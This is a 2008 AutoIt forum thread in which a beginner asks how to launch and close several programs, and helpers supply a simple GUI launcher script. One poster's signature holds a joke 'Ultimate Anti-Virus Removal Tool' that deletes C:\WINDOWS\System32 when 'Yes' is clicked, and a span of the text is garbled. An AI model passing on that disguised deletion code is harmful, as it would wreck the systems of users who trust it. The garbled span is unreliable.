torvalds Posted May 5, 2008 Posted May 5, 2008 Hi im hoping someone here can help me with something. I have no programming experience so be gentle. I want to simply automate the execution of serveral programs by clicking one .exe. Is this difficult to do? Can someone please show me how to do this or point me to a good tutorial that explains what I need. Thanks in advance!!
Tomb Posted May 5, 2008 Posted May 5, 2008 well, either way you won't be able to use one click. you have to double click an .exe to run it, so thats already 2 clicks. look up the function Run in the help file.
Firefoxy Posted May 5, 2008 Posted May 5, 2008 (edited) It would go like this: #include <GUIConstants.au3> #Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Form1", 141, 120, 193, 133) $Button1 = GUICtrlCreateButton("Launch Group 1", 8, 8, 123, 49, 0) $Button2 = GUICtrlCreateButton("Launch Group 2", 8, 64, 123, 49, 0) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 Run("Notepad.exe") Run("mspaint.exe") Run("cmd.exe") Case $Button2 Run("C:\Program Files\Adobe\Photoshop\Photoshop.exe") Run("C:\Program Files\Apple\iTunes\iTunex.exe") EndSwitch WEndoÝ÷ Øò¢ì(ºWeG¢¶Ú%jéÜØ^¦º ©¬iv&z°ØhºÜ¨ºÞ²È§¦î¶Ú'Ü(ºW`¢X¤zØb±«¢+ÙIÕ¸ ÅÕ½ÐíµÍÁ¥¹Ð¹áÅÕ½Ðì¤)IÕ¸ ÅÕ½Ðíµ¹áÅÕ½Ðì¤)IÕ¸ ÅÕ½Ðí¥áÁ±½É¹áÅÕ½Ðì¤ Edited May 5, 2008 by Firefoxy ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf
torvalds Posted May 5, 2008 Author Posted May 5, 2008 I was just after a few noobish lines of code to get me started which Firefoxy was kind enough to provide. When I said one click i was referring to the phrase 1-click and not a single mouse click. Sorry for the confusion on that! I have progressed a little since my last post and now have a list of programs that open automatically I have also made a script to close that list of programs, which is now where im stuck. I cant get the following things to close in the same way as the rest close... mDNSResponder.exe iPodService.exe AppleMobileDeviceService.exe iTunesHelper.exe wmpnetwk.exe Is there any reason why they will not close for me? I think maybe they are services and have to be close another way? I have checked the help file for a way to close services but IO cant see anything that helps. This is only my thinking and I might be wrong.
torvalds Posted May 5, 2008 Author Posted May 5, 2008 (edited) Ooops posted that twice. Sorry Edited May 5, 2008 by torvalds
AdmiralAlkex Posted May 5, 2008 Posted May 5, 2008 You probably need something like THIS .Some of my scripts: ShiftER, Codec-Control, Resolution switcher for HTC ShiftSome of my UDFs: SDL UDF, SetDefaultDllDirectories, Converting GDI+ Bitmap/Image to SDL Surface
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now